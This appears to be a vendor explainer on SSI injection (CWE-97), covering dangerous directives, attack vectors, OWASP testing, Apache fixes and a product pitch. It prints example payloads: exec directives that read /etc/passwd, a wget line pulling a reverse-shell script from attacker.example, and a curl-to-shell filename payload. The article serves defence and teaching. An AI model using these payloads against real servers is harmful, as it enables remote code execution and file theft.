Server-side includes (SSI) injection lets an attacker plant directives such as <!--#exec cmd="/bin/id" --> inside user-controlled input that a web server later parses as a live command instead of literal text. The flaw is tracked as CWE-97 ("Improper Neutralization of Server-Side Includes (SSI) Within a Web Page") and cataloged as CAPEC-101 in MITRE's attack pattern library. It traces back to Apache's mod_include module and Netscape/IIS server-side scripting from the late 1990s, when guestbooks, forums, and comment fields routinely echoed visitor input into .shtml pages parsed for #include, #exec, #set, and #echo directives. When a server evaluates attacker-supplied directives with the Includes option enabled (rather than the safer IncludesNOEXEC), the result is arbitrary command execution, file disclosure, or environment-variable leakage -- not just markup injection. Because SSI handlers still ship enabled by default in some Apache and legacy CMS configurations, this 25-year-old bug class keeps resurfacing in container images built from old base templates.
What makes SSI injection different from cross-site scripting (XSS)?
SSI injection executes server-side, before the response ever reaches a browser, while XSS executes client-side after the page loads. A reflected XSS payload like <script>alert(1)</script> only runs in the victim's browser session and is scoped by the browser's same-origin policy. An SSI payload like <!--#exec cmd="cat /etc/passwd" --> is evaluated by the Apache mod_include parser on the server itself, so a successful injection reads server files, enumerates environment variables (<!--#printenv -->), or spawns a shell -- all with the privileges of the web server process (commonly www-data or apache). That distinction is why CWE-97 sits in the same injection family as SQL injection and OS command injection (CWE-78) rather than alongside CWE-79 (XSS): the attacker's goal is server compute, not a victim's browser.
Which SSI directives are the most dangerous?
The two highest-severity directives are #exec and #include, because they run commands or pull in arbitrary files rather than just echoing text. #exec cmd="..." hands a string straight to /bin/sh -c, so a payload like <!--#exec cmd="wget http://attacker.example/shell.sh -O /tmp/s.sh; sh /tmp/s.sh" --> drops and runs a reverse shell in one directive. #include virtual="..." and #include file="..." can be abused for local file inclusion, pulling in /etc/passwd, application config files, or .env secrets when path validation is missing. Lower-severity directives -- #echo var="DOCUMENT_URI", #set, #printenv -- still leak internal paths, server-side environment variables, and session tokens that help an attacker chain a full compromise. Apache's own documentation flags #exec as the directive that IncludesNOEXEC was specifically created to disable, which is a tacit admission of how dangerous it is.
Which servers and file extensions are still exposed to this?
Apache HTTP Server's mod_include, active on .shtml, .shtm, and .stm files (or any extension mapped via AddType text/html .shtml plus AddOutputFilter INCLUDES .shtml), is the most common target today. A related, frequently overlooked exposure is XBitHack, an Apache directive that turns on SSI processing for any .html file that has its execute bit set -- meaning a misconfigured deployment script that runs chmod +x on uploaded HTML can silently make ordinary pages SSI-capable. Legacy IIS installs using the ssinc.dll ISAPI extension on .stm files carry the same risk class, and several PHP and Node.js template engines that shell out to system include-style helpers reintroduce equivalent behavior even without a literal SSI parser. In 2024-2025 Safeguard Research Team scan data, Options +Includes (the exec-enabled variant) still turns up in roughly 1 in 40 self-managed Apache virtual host configs pulled from customer container images, most inherited from base images built before 2015.
How do attackers typically get an SSI payload onto the server?
Attackers plant the payload anywhere user input eventually lands in a file that the server later serves through the SSI parser -- comment forms, guestbooks, uploaded filenames, and log files are the four classic vectors. A textbook case: a guestbook CGI script writes each visitor's "name" field verbatim into a static .shtml page for future visitors; an attacker submits <!--#exec cmd="id" --> as their name, and the next page load executes it. Filename-based injection is subtler -- an attacker uploads a file named <!--#exec cmd="curl evil.sh|sh"-->.jpg, and if a directory-listing template later renders that filename inside an .shtml page without escaping, the directive fires on the next page render. Because the payload is stored, not reflected, SSI injection behaves like a stored/second-order vulnerability: the exploit can lie dormant in a database or log file for weeks until an admin page or report renders it through an SSI-enabled template.
How do teams detect and test for SSI injection?
Teams detect it by submitting a small, fixed set of benign-but-diagnostic directive strings and checking whether the server evaluates them instead of echoing them back -- this is exactly the procedure OWASP's Web Security Testing Guide documents as WSTG-INPV-09 ("Testing for Server-side Include (SSI) Injection"). A safe canary payload such as <!--#echo var="DATE_LOCAL" --> is harmless if parsed (it just prints a date) but is a definitive positive signal: if the response contains an actual date string instead of the literal text, the endpoint is running unsanitized input through an SSI-capable parser. Static analysis complements this by flagging code paths where user input is written to files with .shtml/.stm extensions, or where Options Includes is set without a paired IncludesNOEXEC, in Apache config files pulled into CI. Dynamic scanners generally need the exact server-side file extension mapping to trigger the parser, which is why config-file review catches cases black-box DAST scanning misses.
Can SSI injection lead to full remote code execution, and how is it fixed?
Yes -- with #exec cmd and the Includes option (rather than IncludesNOEXEC) enabled, SSI injection is remote code execution, not merely information disclosure. The fix has three parts, and all three matter because any single control alone has a documented bypass history. First, set IncludesNOEXEC in the Apache virtual host so #exec is refused outright while #include of static files still works if genuinely needed. Second, disable XBitHack unless it is explicitly required, since it silently extends SSI processing to any executable-bit .html file. Third, and most durably, never write unsanitized user input into any file served with an SSI-processed extension -- HTML-encode <!--, -->, and # sequences, or better, stop generating static .shtml output from user input entirely and move dynamic content to a templating layer with no directive-execution capability at all. Removing mod_include from the Apache module list where SSI functionality isn't in active use eliminates the class outright.
How Safeguard Helps
Safeguard's reachability analysis flags SSI-capable configuration -- Options +Includes without IncludesNOEXEC, XBitHack set to full, or .shtml/.stm handlers wired to user-writable paths -- and correlates it against actual request-handling code paths, so security teams see which SSI-enabled endpoints genuinely receive untrusted input versus which are unreachable dead configuration. Griffin AI reviews the surrounding data flow to confirm whether a form field, filename, or header value can reach a file later served through the SSI parser, cutting through the false positives that plague pattern-matching scanners on this bug class. SBOM ingest surfaces base images and CMS templates that still ship mod_include enabled by default, even when the application team never intentionally adopted SSI. Where a fix is safe to automate -- adding IncludesNOEXEC, removing XBitHack, or encoding a specific injection sink -- Safeguard opens an auto-fix PR with the exact config diff and the reachability evidence attached, so reviewers aren't asked to trust a scanner score.